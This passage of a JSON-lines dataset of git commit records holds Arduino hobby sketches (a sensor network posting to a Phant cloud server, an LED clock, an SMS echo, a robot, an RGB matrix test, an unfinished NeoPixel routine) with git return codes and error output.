Serial.println(\"Connected to WiFi...\");\n \n SPI.begin(); \/\/start SPI communication\n radio.begin(); \/\/start nRF24L01 communication layer\n network.begin(90, thisNode); \/\/start nRF24L01 network layer, \"90\" is for channel\n}\n\nvoid loop() {\n network.update(); \/\/update network and look for new nodes\n\n RF24NetworkHeader header; \/\/create header variable to read data from node\n Payload payload; \/\/create payload variable\n payload.aDCTemp = 0;\n \/\/ Any data on the network ready to read\n while ( network.available() )\n {\n \/\/ If so, grab it and print it out\n network.read(header,&payload,sizeof(payload));\n Serial.print(\"The node this is from: \");\n Serial.println(header.from_node);\n Serial.print(\"Temperature: \");\n Serial.print(payload.aDCTemp);\n Serial.print(\" Battery status: \");\n Serial.println(payload.batState);\n Serial.println();\n getNodeData(header.from_node, payload.aDCTemp); \/\/store data in global variable for each node\n }\n \n if(payload.aDCTemp) { \/\/if there is new data (non-zero) post it to cloud\n if (!postToPhant()) { Serial.println(\"failed to post data to Phant cloud.....\"); }\n else { Serial.println(\"Sent data to cloud successfully....\"); }\n }\n}\n\n\/\/This function posts data to the Phant cloud\nint postToPhant()\n{\n \/\/ LED turns on when we enter, it'll go off when we successfully post.\n digitalWrite(LED_PIN, HIGH);\n \n \/\/ Declare an object from the Phant library - phant\n phant(PhantHost, PublicKey, PrivateKey);\n \/\/These calls build the web communication\n phantAdd(\"mnode1\", tempNode1); \/\/specify field and data used in that field\n phantAdd(\"mnode2\", tempNode2);\n phantAdd(\"mnode3\", tempNode3);\n \n WiFiClient client; \/\/Create client object to communicate with the phant server\n \n if (!client.connect(PhantHost, 80)) { \/\/Attempt to connect to phant server using port 80\n \/\/ If we fail to connect, return 0.\n return 0;\n }\n\n \/\/Serial.println(phantPost()); \/\/uncomment this if you want to see text of communication with phant server\n \/\/Send post to phant server\n client.print(phantPost()); \/\/post datat to phant\n \n \/\/ if there are incoming bytes available\n \/\/ from the server, read them and print them:\n while (client.available()) {\n String line = client.readStringUntil('\\r');\n \/\/Do something with data\n }\n client.stop(); \/\/end the client\n \/\/ Before we exit, turn the LED off.\n digitalWrite(LED_PIN, LOW);\n \n return 1; \/\/ Return success\n}\n\n\/\/this function gets incoming data from the network and stores it in the right global variable\nvoid getNodeData(uint16_t node, float data) {\n if(node == 1) tempNode1 = data*10; \/\/data is multiplied by 10 because phant cannot handle decimals\n else if(node == 2) tempNode2 = data*10;\n else tempNode3 = data*10;\n}\n\n\/\/This is from phant library, initializes variables\nvoid phant(String host, String publicKey, String privateKey) {\n _host = host;\n _pub = publicKey;\n _prv = privateKey;\n _params = \"\";\n}\n\n\/\/From phant library, builds string of field and data\nvoid phantAdd(String field, int data) {\n\n _params += \"&\" + field + \"=\" + String(data);\n\n}\n\n\/\/From phant library, builds the string used to post data to phant over web services\nString phantPost() {\n\n String params = _params.substring(1);\n String result;\n \/\/String result = \"POST \/input\/\" + _pub + \".txt HTTP\/1.1\\n\";\n for (int i=0; i<strlen(HEADER_POST_URL1); i++)\n {\n result += (char)pgm_read_byte_near(HEADER_POST_URL1 + i);\n }\n result += _pub;\n for (int i=0; i<strlen(HEADER_POST_URL2); i++)\n {\n result += (char)pgm_read_byte_near(HEADER_POST_URL2 + i);\n }\n result += \"Host: \" + _host + \"\\n\";\n \/\/result += \"Phant-Private-Key: \" + _prv + \"\\n\";\n for (int i=0; i<strlen(HEADER_PHANT_PRV_KEY); i++)\n {\n result += (char)pgm_read_byte_near(HEADER_PHANT_PRV_KEY + i);\n }\n result += _prv + '\\n';\n \/\/result += \"Connection: close\\n\";\n for (int i=0; i<strlen(HEADER_CONNECTION_CLOSE); i++)\n {\n result += (char)pgm_read_byte_near(HEADER_CONNECTION_CLOSE + i);\n }\n \/\/result += \"Content-Type: application\/x-www-form-urlencoded\\n\";\n for (int i=0; i<strlen(HEADER_CONTENT_TYPE); i++)\n {\n result += (char)pgm_read_byte_near(HEADER_CONTENT_TYPE + i);\n } \n \/\/result += \"Content-Length: \" + String(params.length()) + \"\\n\\n\";\n for (int i=0; i<strlen(HEADER_CONTENT_LENGTH); i++)\n {\n result += (char)pgm_read_byte_near(HEADER_CONTENT_LENGTH + i);\n } \n result += String(params.length()) + \"\\n\\n\";\n result += params;\n\n _params = \"\";\n return result;\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MKR1000_nRF24L01_Cloud.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"923da44aa0209c699ffef769fa8a5d7af1336893","subject":"Initial commit","message":"Initial commit\n","repos":"Excure\/LED-Clock","old_file":"Clock.ino","new_file":"Clock.ino","new_contents":"#include \"Arduino.h\"\n#include <LiquidCrystal.h>\n#include <Wire.h>\n#include <SPI.h>\n#include <RTClib.h>\n#include <RTC_DS3231.h>\n#include <Adafruit_NeoPixel.h>\n#include <EasingLibrary.h>\n\n#define UpdateSkips 8\n#define LEDStartDelay 3\n\nRTC_DS3231 RTC;\nLiquidCrystal lcd(11, 10, 9, 12, 4, 3);\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(60 + 24, 6, NEO_GRB + NEO_KHZ800);\n\nuint8_t updateSkipCounter = 0;\nuint8_t LEDStartDelayCounter = 0;\nboolean LEDsEnabled = false;\n\nunsigned long millisPerSecond = 0;\nuint16_t updatesPerSecond = 0;\n\nunsigned long lastSecondMillis = 0;\nuint32_t previousUnixTime = 0;\n\nDateTime currentDateTime;\n\nBackEase ease;\n\nuint16_t OuterLED(uint16_t n)\n{\n return (n + 39) % 60;\n}\n\nuint16_t InnerLED(uint16_t n)\n{\n return 60 + (n + 16) % 24;\n}\n\nvoid setupLEDs()\n{\n strip.begin();\n strip.show();\n}\n\nvoid setup()\n{\n setupLEDs();\n \n ease.setDuration(.5);\n ease.setTotalChangeInPosition(1);\n \n lcd.begin(16, 2);\n lcd.print(\"Lohl\");\n \n Wire.begin();\n RTC.begin();\n \n RTC.enable32kHz(false);\n RTC.SQWEnable(false);\n RTC.BBSQWEnable(false);\n}\n\nvoid loop()\n{\n DateTime now = RTC.now();\n \n uint32_t unixTime = now.unixtime();\n \n if (unixTime != previousUnixTime)\n {\n DateTime previousDateTime = currentDateTime;\n currentDateTime = now;\n \n if (!LEDsEnabled)\n {\n LEDStartDelayCounter++;\n if (LEDStartDelayCounter >= LEDStartDelay)\n {\n LEDsEnabled = true;\n }\n }\n \n if (currentDateTime.hour() != previousDateTime.hour())\n {\n for (int i = 0; i < currentDateTime.hour(); i++)\n {\n strip.setPixelColor(InnerLED(i), 0, 15, 0);\n }\n }\n \n if (currentDateTime.minute() != previousDateTime.minute())\n {\n for (int i = 0; i < currentDateTime.minute(); i++)\n {\n strip.setPixelColor(OuterLED(i), 0, 0, 15);\n }\n }\n \n if (LEDsEnabled)\n strip.setPixelColor(OuterLED(previousDateTime.second()), 0, 0, 0);\n \n unsigned long timeSinceLastTick = millis() - lastSecondMillis;\n \n char time[9];\n snprintf(time, 9, \"%02d:%02d:%02d\", now.hour(), now.minute(), now.second());\n \n char date[11];\n snprintf(date, 11, \"%02d.%02d.%04d\", now.day(), now.month(), now.year());\n \n lcd.setCursor(0,0);\n lcd.print(time);\n lcd.setCursor(0,1);\n lcd.print(date);\n \n char ms[6];\n snprintf(ms, 6, \"%dms\", timeSinceLastTick);\n \n char fps[6];\n snprintf(fps, 6, \"%dfps\", updatesPerSecond);\n \n lcd.setCursor(11,0);\n lcd.print(ms);\n lcd.setCursor(11,1);\n lcd.print(fps);\n \n lastSecondMillis = millis();\n previousUnixTime = unixTime;\n millisPerSecond = timeSinceLastTick;\n updatesPerSecond = 0;\n }\n else\n {\n updateSkipCounter++;\n if (updateSkipCounter == UpdateSkips)\n {\n unsigned long timeSinceLastTick = millis() - lastSecondMillis;\n double amount = timeSinceLastTick \/ ((double)millisPerSecond);\n uint8_t currentSecond = currentDateTime.second();\n uint8_t nextSecond = (currentSecond == 59) ? 0 : currentSecond + 1;\n if (LEDsEnabled)\n {\n uint8_t brightness = 30;\n \n double scaledAmount;\n \n if (amount <= 0.5)\n scaledAmount = ease.easeOut(amount);\n else\n scaledAmount = 1.0 - ease.easeIn(amount - 0.5);\n \n if (currentSecond <= currentDateTime.minute())\n strip.setPixelColor(OuterLED(currentSecond), brightness * scaledAmount, 0, 0);\n else\n strip.setPixelColor(OuterLED(currentSecond), brightness * scaledAmount, 0, 0);\n\n\/\/ if (nextSecond <= currentDateTime.minute())\n\/\/ strip.setPixelColor(OuterLED(nextSecond), brightness * amount, 0, 15 * (1.0 - amount));\n\/\/ else\n\/\/ strip.setPixelColor(OuterLED(nextSecond), brightness * amount, 0, 0);\n }\n strip.show();\n updatesPerSecond++;\n updateSkipCounter = 0;\n }\n }\n}","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"f253a622d9f4aa165cf84020afd5225f47465edc","subject":"add an example","message":"add an example\n","repos":"vmire\/Arduino_lib_SIM900","old_file":"Examples\/Echo_SMS\/Echo_SMS.ino","new_file":"Examples\/Echo_SMS\/Echo_SMS.ino","new_contents":"#include <SIM900.h>\n#include <SoftwareSerial.h>\n\nSoftwareSerial ser(10,3); \nSIM900 sim900(&ser,7);\n\nchar phone_number[]=\"0612345678\";\nchar pin_number[]=\"0000\";\n\nvoid setup(){\n Serial.begin(115200);\n \n sim900.init(pin_number); \n}\n\nvoid loop(){\n \/*\n * Lit le premier SMS\n *\/\n char numTel[15];\n char* msg = sim900.readSMS(1,numTel);\n if(msg != NULL){\n Serial.print(\"SMS de: \");Serial.println(numTel);\n Serial.println(msg);\n sim900.deleteSMS(1);\n \n \/\/Envoi d'une r\u00e9ponse\n sim900.sendSMS(numTel,\"message recu\");\n }\n \n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Examples\/Echo_SMS\/Echo_SMS.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1aad45d59e65a178f3e2e636126e8012bab3cd4e","subject":"Added Arduino Code","message":"Added Arduino Code\n","repos":"soulmanos\/led-arduino-mqtt-nodejs-01,soulmanos\/led-arduino-mqtt-nodejs-01","old_file":"arduino\/mqtt_ReConn_NeoP_Json_02.ino","new_file":"arduino\/mqtt_ReConn_NeoP_Json_02.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/soulmanos\/led-arduino-mqtt-nodejs-01.git\/'\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"e22998424748a7125b73e152ab7ad301f0ed248b","subject":"Add example showing one-shot usage","message":"Add example showing one-shot usage\n","repos":"stevemarple\/AsyncDelay","old_file":"examples\/OneShotExample\/OneShotExample.ino","new_file":"examples\/OneShotExample\/OneShotExample.ino","new_contents":"#include <AsyncDelay.h>\n\nAsyncDelay oneShot;\nbool messagePrinted = false;\n\nvoid setup(void)\n{\n Serial.begin(9600);\n Serial.println(\"Starting one-shot timer\");\n oneShot.start(5000, AsyncDelay::MILLIS);\n}\n\n\nvoid loop(void)\n{\n if (!messagePrinted && oneShot.isExpired()) {\n Serial.print(\"The timer was started \");\n Serial.print(oneShot.getDelay());\n if (oneShot.getUnit() == AsyncDelay::MILLIS)\n Serial.println(\" ms ago\");\n else\n Serial.println(\" us ago\");\n messagePrinted = true; \/\/ Print the message just once\n oneShot = AsyncDelay();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/OneShotExample\/OneShotExample.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"bed73b8d6264578d586d3e6739225b288eeb2c5c","subject":"[hm] Go back to traditional setup\/loop functions","message":"[hm] Go back to traditional setup\/loop functions\n\nMakes the code compatible with more variants of Arduino-compatible MCU\n","repos":"shmick\/HeaterMeter,shmick\/HeaterMeter,CapnBry\/HeaterMeter,CapnBry\/HeaterMeter,CapnBry\/HeaterMeter,CapnBry\/HeaterMeter,shmick\/HeaterMeter,shmick\/HeaterMeter,CapnBry\/HeaterMeter,shmick\/HeaterMeter,CapnBry\/HeaterMeter,shmick\/HeaterMeter,shmick\/HeaterMeter,CapnBry\/HeaterMeter","old_file":"arduino\/heatermeter\/heatermeter.ino","new_file":"arduino\/heatermeter\/heatermeter.ino","new_contents":"\/\/ HeaterMeter Copyright 2016 Bryan Mayland <bmayland@capnbry.net>\n#include \"ShiftRegLCD.h\"\n#include <digitalWriteFast.h>\n#include \"hmcore.h\"\n\n\/\/ See hmcore.h for most options and tweaks\n\n#ifdef HEATERMETER_RFM12\n#include \"rf12_itplus.h\"\n#endif \/* HEATERMETER_RFM12 *\/\n\n\/* Disable the watchdog timer immediately after zero_reg is set *\/\n__attribute__((naked)) __attribute__((section(\".init3\"))) __attribute__((used))\n void clearWdt(void)\n{\n MCUSR = 0;\n WDTCSR = _BV(WDCE) | _BV(WDE);\n WDTCSR = 0;\n}\n\nvoid setup()\n{\n hmcoreSetup();\n}\n\nvoid loop()\n{\n hmcoreLoop();\n}\n\n","old_contents":"\/\/ HeaterMeter Copyright 2016 Bryan Mayland <bmayland@capnbry.net>\n#include \"ShiftRegLCD.h\"\n#include <digitalWriteFast.h>\n#include \"hmcore.h\"\n\n\/\/ See hmcore.h for most options and tweaks\n\n#ifdef HEATERMETER_RFM12\n#include \"rf12_itplus.h\"\n#endif \/* HEATERMETER_RFM12 *\/\n\n\/* Disable the watchdog timer immediately after zero_reg is set *\/\n__attribute__((naked)) __attribute__((section(\".init3\"))) __attribute__((used))\n void clearWdt(void)\n{\n MCUSR = 0;\n WDTCSR = _BV(WDCE) | _BV(WDE);\n WDTCSR = 0;\n}\n\nint main(void)\n{\n init();\n hmcoreSetup();\n for (;;)\n hmcoreLoop();\n return 0;\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"28fb4cb71c72526dc540a75bb58daea881333999","subject":"first commit","message":"first commit\n","repos":"raspibo\/ardubottino,raspibo\/ardubottino","old_file":"ardubottino.ino","new_file":"ardubottino.ino","new_contents":"#include <IRremoteInt.h>\n#include <IRremote.h>\n\n int IRpin =2; \/\/pin del sensore IR\n IRrecv irrecv(IRpin);\n long duration;\n long dursx;\n long durdx;\n\n const int en1 = 10; \/\/pin enable\n const int en2 = 5;\n const int m1fd = 4; \/\/controlli motore\n const int m2fd = 3;\n const int m1bk = 8;\n const int m2bk = 11;\n const int pinping = 7; \/\/pin sensore distanza\n const int sterzo = 600; \/\/durata dello sterzo\n const int ridster = 550; \/\/diminuzione per i cingoli\n const int distanza = 500; \/\/distanza minima ostacoli\n int motore1 = 78;\/\/pwm motore dx\n int motore2 = 72;\/\/pwm motore sx\n boolean automat = false;\n\n decode_results results;\n\n void setup() {\n Serial.begin(9600);\n pinMode(m1fd, OUTPUT);\n pinMode(m1bk, OUTPUT);\n pinMode(m2fd, OUTPUT);\n pinMode(m2bk, OUTPUT);\n pinMode(en1, OUTPUT);\n pinMode(en2, OUTPUT);\n analogWrite(en1,motore1);\n analogWrite(en2,motore2);\n irrecv.enableIRIn();\n }\n\n void loop(){\n if(irrecv.decode(&results)){\n if (!automat) {\n if(results.value == 2742014623 || results.value == 31889539){\n dritto();\n } else if (results.value == 2383694249 || results.value == 2039764837 ) {\n sinistra();\n } else if (results.value == 15111918 || results.value == 2725237002) {\n rovescia();\n } else if (results.value == 1665824360 || results.value == 3250666572 ) {\n destra();\n } else if (results.value == 1463772700|| results.value == 4173897784) {\n motore1 += 1;\n debugmot(motore1,motore2);\n analogWrite(en1,motore1);\n } else if (results.value == 2117945733|| results.value == 2461875145) {\n motore2 += 1;\n debugmot(motore1,motore2);\n analogWrite(en2,motore2);\n } else if (results.value == 188078261|| results.value == 532007673) {\n motore1 -=1;\n debugmot(motore1,motore2);\n analogWrite(en1,motore1);\n } else if (results.value == 2411542288|| results.value == 2067612876) {\n motore2 -=1;\n debugmot(motore1,motore2);\n analogWrite(en2,motore2);\n } else {\n ferma();\n }\n }\n if (results.value == 3969632309 || results.value == 18594425) {\n if (automat) {\n automat = false;\n ferma();\n delayMicroseconds(300000);\n }else{\n automat = true;\n dritto();\n delayMicroseconds(300000);\n }\n }\n irrecv.resume();\n }\n if (automat && echo() < distanza){ \/\/trovato un ostacolo\n analogWrite(en1,170);\n analogWrite(en2,170);\n ferma();\n sinistra();\n delay(sterzo);\n ferma();\n dursx = echo(); \/\/guarda a sinistra\n destra();\n delay(sterzo*2);\n ferma();\n durdx = echo(); \/\/guarda a destra\n if (dursx < distanza && durdx < distanza){\n destra();\n delay(sterzo*2);\n } else if (dursx > durdx) {\n sinistra();\n Serial.println(1);\n delay(sterzo+ridster);\n } else {\n sinistra();\n delay(ridster);\n }\n \/\/sceglie dove c'\u00e8 pi\u00f9 spazio\n dritto();\n analogWrite(en1,motore1);\n analogWrite(en2,motore2);\n }\n }\n\n\n void dritto() {\n digitalWrite(m1bk,LOW);\n digitalWrite(m2bk,LOW);\n digitalWrite(m2fd,HIGH);\n digitalWrite(m1fd,HIGH);\n }\n\n void rovescia() {\n digitalWrite(m1fd,LOW);\n digitalWrite(m2fd,LOW);\n digitalWrite(m1bk,HIGH);\n digitalWrite(m2bk,HIGH);\n }\n\n void destra() {\n digitalWrite(m1fd,LOW);\n digitalWrite(m2fd,HIGH);\n digitalWrite(m1bk,HIGH);\n digitalWrite(m2bk,LOW);\n }\n\n void sinistra() {\n digitalWrite(m1fd,HIGH);\n digitalWrite(m2fd,LOW);\n digitalWrite(m1bk,LOW);\n digitalWrite(m2bk,HIGH);\n }\n\n void debugmot(int sm1, int sm2) {\n Serial.print(sm1);\n Serial.print(\",\");\n Serial.println(sm2);\n }\n\n void ferma() {\n digitalWrite(m1fd,LOW);\n digitalWrite(m2fd,LOW);\n digitalWrite(m1bk,LOW);\n digitalWrite(m2bk,LOW);\n delay(50);\n }\n\n long echo() {\n pinMode(pinping, OUTPUT);\n digitalWrite(pinping, LOW);\n delayMicroseconds(2);\n digitalWrite(pinping, HIGH);\n delayMicroseconds(5);\n digitalWrite(pinping, LOW);\n pinMode(pinping, INPUT);\n duration = pulseIn(pinping,HIGH);\n return duration;\n }\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"unlicense","lang":"Arduino"} {"commit":"b2f9892862be4658981bddf910ab8bb883a944fe","subject":"Create Second Order Filter.ino","message":"Create Second Order Filter.ino","repos":"IITK-SUMMER-QUAD-2015-TEAM\/QuadIITK,IITK-SUMMER-QUAD-2015-TEAM\/QuadIITK","old_file":"code\/Second Order Filter.ino","new_file":"code\/Second Order Filter.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/Second' did not match any file(s) known to git\nerror: pathspec 'Order' did not match any file(s) known to git\nerror: pathspec 'Filter.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"eb5243543a062c0ad8e7bf18c90ce521b95c70f7","subject":"matrix-RGB first commit","message":"matrix-RGB first commit\n","repos":"jlebunetel\/ESP8266-fun,jlebunetel\/ESP8266-fun","old_file":"matrix-RGB\/matrix-RGB.ino","new_file":"matrix-RGB\/matrix-RGB.ino","new_contents":"\n\/*\n * ce sketch permet de tester la matrice RGB 32x16 de Adafruit avec un esp8266\n * \n * afin d'\u00e9conomiser les broches de l'esp, on n'envoie les donn\u00e9es que dans les broches R1, G1 et B1.\n * en bouclant les sorties R1, G1 et B1 sur les entr\u00e9es R2, G2, B2 on simule deux matrices 32x8 en s\u00e9rie\n *\/\n\n\/\/ d\u00e9finition des pins\nint latchPin = 16; \/\/ D0 = GPIO16\nint clockPin = 2; \/\/ D4 = GPIO2\nint outputEnablePin = 0; \/\/ D3 = GPIO0\n\nint APin = 12; \/\/ D6 = GPIO12\nint BPin = 5; \/\/ D1 = GPIO5\nint CPin = 14; \/\/ D5 = GPIO14\n\nint R1Pin = 15; \/\/ D8 = GPIO15\nint G1Pin = 4; \/\/ D2 = GPIO4\nint B1Pin = 13; \/\/ D7 = GPIO13\n\n\/\/ variables n\u00e9cessaires \u00e0 la selection des lignes de la matrice\nint a;\nint b;\nint c;\n\n\/\/ pour r\u00e9gler l'intensit\u00e9 des leds, on joue sur la dur\u00e9e d'allumage \/ d'extinction\nint intensite = 50; \/\/ entre 0 et 100\n\n\/\/ une variable uint32_t permet de stocker 32 bits, soit un bit par leds d'une ligne monochromatique\n\/\/ 48 uint32_t couvrent donc les 16 lignes de 3 couleurs\n\/\/\n\/\/ tampon[0] contient l'information necessaire pour allumer les leds ROUGES de la PREMIERE ligne\n\/\/ tampon[1] contient l'information necessaire pour allumer les leds VERTES de la PREMIERE ligne\n\/\/ tampon[2] contient l'information necessaire pour allumer les leds BLEUES de la PREMIERE ligne\n\/\/\n\/\/ tampon[3] contient l'information necessaire pour allumer les leds ROUGES de la DEUXIEME ligne\n\/\/ etc.\n\nuint32_t tampon[48];\n\n\/\/ variable utilis\u00e9e comme masque lors du transfert\nuint32_t one = 1;\n\nvoid setup() {\n pinMode(latchPin, OUTPUT);\n pinMode(clockPin, OUTPUT);\n pinMode(outputEnablePin, OUTPUT);\n\n pinMode(APin, OUTPUT);\n pinMode(BPin, OUTPUT);\n pinMode(CPin, OUTPUT);\n\n pinMode(R1Pin, OUTPUT);\n pinMode(G1Pin, OUTPUT);\n pinMode(B1Pin, OUTPUT);\n\n digitalWrite(latchPin, LOW);\n digitalWrite(clockPin, LOW);\n digitalWrite(outputEnablePin, LOW);\n\n digitalWrite(APin, LOW);\n digitalWrite(BPin, LOW);\n digitalWrite(CPin, HIGH);\n\n digitalWrite(R1Pin, LOW);\n digitalWrite(G1Pin, LOW);\n digitalWrite(B1Pin, LOW);\n\n \/\/ on \u00e9teint toutes les leds par d\u00e9faut\n for (int i = 0; i < 8; i++) {\n tampon[i] = 0;\n }\n\n \/\/ un texte d'exemple\n tampon[0] = 7246225;\n\n tampon[4] = 2402985;\n\n tampon[8] = 6597033;\n\n tampon[9] = 2403001;\n tampon[10] = 2403001;\n\n tampon[12] = 6590891;\n tampon[14] = 6590891;\n\n tampon[25] = 7246225;\n tampon[26] = 7246225;\n\n tampon[27] = 2402985;\n tampon[28] = 2402985;\n tampon[29] = 2402985;\n\n tampon[30] = 6597033;\n tampon[34] = 2403001;\n tampon[38] = 6590891;\n}\n\nvoid loop() {\n\n for (int i = 0; i < 8; i++) {\n\n \/\/ on eteint les led\n digitalWrite(outputEnablePin, HIGH);\n\n \/\/ on active la ligne i.\n a = (i & 0x0001);\n b = (i & 0x0002) >> 1;\n c = (i & 0x0004) >> 2;\n\n digitalWrite(APin, a);\n digitalWrite(BPin, b);\n digitalWrite(CPin, c);\n\n delayMicroseconds(100);\n\n \/\/ on envoie les donn\u00e9es\n \/\/ d'abord les lignes du bas de l'afficheur\n for (int j=0; j<32; j++) {\n \/\/ on envoie la ligne tampon[3*i+24] dans R1 (ligne i + 8)\n digitalWrite(R1Pin, (tampon[3*i+24] >> j) & one);\n \n \/\/ on envoie la ligne tampon[3*i+24+1] dans G1 (ligne i + 8)\n digitalWrite(G1Pin, (tampon[3*i+24+1] >> j) & one);\n \n \/\/ on envoie la ligne tampon[3*i+24+2] dans B1 (ligne i + 8)\n digitalWrite(B1Pin, (tampon[3*i+24+2] >> j) & one);\n\n \/\/ tic tac\n digitalWrite(clockPin, HIGH);\n digitalWrite(clockPin, LOW);\n }\n\n \/\/ puis les lignes du haut\n for (int j=0; j<32; j++) {\n \/\/ on envoie la ligne tampon[3*i] dans R1 (ligne i)\n digitalWrite(R1Pin, (tampon[3*i] >> j) & one);\n \n \/\/ on envoie la ligne tampon[3*i+1] dans G1 (ligne i)\n digitalWrite(G1Pin, (tampon[3*i+1] >> j) & one);\n \n \/\/ on envoie la ligne tampon[3*i+2] dans B1 (ligne i)\n digitalWrite(B1Pin, (tampon[3*i+2] >> j) & one);\n\n \/\/ tic tac\n digitalWrite(clockPin, HIGH);\n digitalWrite(clockPin, LOW);\n }\n\n \/\/ lach\n digitalWrite(latchPin, HIGH);\n digitalWrite(latchPin, LOW);\n\n \/\/ on laisse les leds \u00e9teintes quelques microsecondes pour moduler l'intensit\u00e9\n delayMicroseconds(100 - intensite);\n\n \/\/ on allume les leds\n digitalWrite(outputEnablePin, LOW);\n\n \/\/ on laisse les leds allum\u00e9es quelques microsecondes et c'est reparti !\n delayMicroseconds(intensite);\n\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'matrix-RGB\/matrix-RGB.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8de8978e3469633f29c2173fab1e693b139b3d2b","subject":"Got rid of unused interrupt attempts.","message":"Got rid of unused interrupt attempts.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"SIK Circuits\/Circuit_07_modified\/Circuit_07_modified.ino","new_file":"SIK Circuits\/Circuit_07_modified\/Circuit_07_modified.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'SIK' did not match any file(s) known to git\nerror: pathspec 'Circuits\/Circuit_07_modified\/Circuit_07_modified.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"135f19b056cf489fdd5f3812bf82c8f71e191117","subject":"hall switch test","message":"hall switch test\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"pocs\/hall-switch-test\/hall-switch-test.ino","new_file":"pocs\/hall-switch-test\/hall-switch-test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a236ea22235dcf4bc7be99eda817712f8d2330ad","subject":"Add neotest.ino to repo","message":"Add neotest.ino to repo\n\nThe start of a hand-written neopixel addressing scheme. Not used, as the\nworkaround we came up with for FastLED works fine once level-converted.\n","repos":"voodoodemon\/TheFlyingMagicCarpet,voodoodemon\/TheFlyingMagicCarpet","old_file":"TestPrograms\/neotest.ino","new_file":"TestPrograms\/neotest.ino","new_contents":"\/* Clockless controllers. These controllers have 3 control points in their cycle for each bit. The first point\n is raised hi. The second pointsnt is where the line is dropped low for a zero. The third point is where the\n#dw for a one. T1, T2, and T3 correspond to the timings for those three in clock cycles.\n*\/\n#define T1 ?\n#define T2 ?\n#define T3 ?\n#define TADJUST 0\n#define TOTAL ( (T1+TADJUST) + (T2+TADJUST) + (T3+TADJUST) )\n#define T1_MARK (TOTAL - (T1+TADJUST))\n#define T2_MARK (T1_MARK - (T2+TADJUST))\n\nstatic uint32_t showRGBInternal(PixelController<RGB_ORDER, LANES, PORT_MASK> &allpixels) {\n \/\/ get num leds\n \/\/ int nLeds = allpixels.mLen;\n int numLeds = 10;\n\n \/\/ Setup the pixel controller and load\/scale the first byte\n\t\/\/ Lines b0,b1,b2;\n\n \/\/ allpixels.preStepFirstByteDithering();\n\t\/\/ for(uint8_t i = 0; i < LANES; i++) {\n\t\/\/ \tb0.bytes[i] = allpixels.loadAndScale0(i);\n\t\/\/ }\n\n\t\/\/ Setup and start the clock\n TC_Configure(DUE_TIMER,DUE_TIMER_CHANNEL,TC_CMR_TCCLKS_TIMER_CLOCK1);\n pmc_enable_periph_clk(DUE_TIMER_ID);\n TC_Start(DUE_TIMER,DUE_TIMER_CHANNEL);\n\n #if (MY_ALLOW_INTERRUPTS == 1)\n cli();\n #endif\n\tuint32_t next_mark = (DUE_TIMER_VAL + (TOTAL));\n\twhile(nLeds--) {\n allpixels.stepDithering();\n #if (MY_ALLOW_INTERRUPTS == 1)\n cli();\n if(DUE_TIMER_VAL > next_mark) {\n if((DUE_TIMER_VAL - next_mark) > ((WAIT_TIME-INTERRUPT_THRESHOLD)*CLKS_PER_US)) {\n sei(); TC_Stop(DUE_TIMER,DUE_TIMER_CHANNEL); return DUE_TIMER_VAL;\n }\n }\n #endif\n\n\t\t\/\/ Write first byte, read next byte\n\t\twriteBits<8+XTRA0,1>(next_mark, b0, b1, allpixels);\n\n\t\t\/\/ Write second byte, read 3rd byte\n\t\twriteBits<8+XTRA0,2>(next_mark, b1, b2, allpixels);\n\n\t\t\/\/ Write third byte\n\t\twriteBits<8+XTRA0,0>(next_mark, b2, b3, allpixels);\n\n\t\t\/\/ Write fourth byte\n\t\twriteBits<8+XTRA0,0>(next_mark, b3, b0, allpixels);\n\n #if (MY_ALLOW_INTERRUPTS == 1)\n sei();\n #endif\n\t}\n\n\treturn DUE_TIMER_VAL;\n}\n\ntemplate<int BITS,int PX> __attribute__ ((always_inline)) inline static void writeBits(register uint32_t & next_mark, register Lines & b, Lines & b3, PixelController<RGB_ORDER,LANES, PORT_MASK> &pixels) { \/\/ , register uint32_t & b2) {\n Lines b2;\n transpose8x1(b.bytes,b2.bytes);\n\n uint8_t * bytes;\n\n \/\/ register uint8_t d = pixels.template getd<PX>(pixels);\n \/\/ register uint8_t scale = pixels.template getscale<PX>(pixels);\n\n for(uint32_t i = 0; (i < LANES) && (i<8); i++) {\n while(DUE_TIMER_VAL < next_mark);\n next_mark = (DUE_TIMER_VAL+TOTAL);\n\n \/\/*FastPin<FIRST_PIN>::sport() = PORT_MASK;\n *mysport = PORT_MASK;\n\n \/\/ this selects the i-th strip and then steps index bytes into it.\n uint32_t offset = ( numLeds - ( i * ledsPerStrip ) ) * bytesPerLed ) + index;\n\n while((next_mark - 